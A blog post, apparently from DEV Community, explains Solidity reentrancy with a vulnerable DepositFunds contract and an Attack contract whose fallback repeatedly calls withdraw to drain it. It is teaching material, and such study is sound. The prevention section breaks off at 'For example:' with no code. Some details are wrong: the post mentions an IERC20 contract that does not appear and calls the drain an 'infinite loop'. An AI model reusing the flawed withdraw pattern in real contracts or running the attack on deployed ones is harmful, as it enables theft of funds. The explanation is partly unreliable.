DEV Community

Jack
Jack

Posted on

[Solidity] Reentrancy vulnerability

What is Reentrancy vulnerability

Reentrancy vulnerability is a type of vulnerability that occurs when a contract calls an external contract in a way that allows the external contract to call back into the original contract before the original contract has finished executing. This can lead to unexpected and potentially malicious behavior.

contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }
}
Enter fullscreen mode Exit fullscreen mode

The problem is the withdraw function updates balance after transfered successfully to sender. Thefore, if an attacker were to create a malicious version of the IERC20 contract that calls the withdraw function of the Fund contract as part of its own execution, it could potentially create an infinite loop in this step (transfering step).
Attacker's contract will look like:

contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }


}
Enter fullscreen mode Exit fullscreen mode

Here is a summary of how an attacker could use a malicious contract to create an infinite loop in the DepositFunds contract:

  1. The attacker creates a malicious contract that calls the withdraw function of the DepositFunds contract as part of its own execution.
  2. The attacker calls the deposit function of the DepositFunds contract, sending some Ether to the contract. The attacker calls the withdraw function of the DepositFunds contract using the malicious contract.
  3. The DepositFunds contract calls the call function of the malicious contract, sending the Ether to the attacker.
  4. The malicious contract calls the withdraw function of the DepositFunds contract again as part of its own execution.
  5. This process repeats indefinitely, creating an infinite loop.

How to prevent this type of attack

To prevent this type of attack, it is important to carefully consider the potential interactions between contracts and to ensure that any external contract calls are properly guarded against reentrancy. This can be done by marking this process is handing.
For example:

Reference

https://hackernoon.com/hack-solidity-reentrancy-attack

Top comments (0)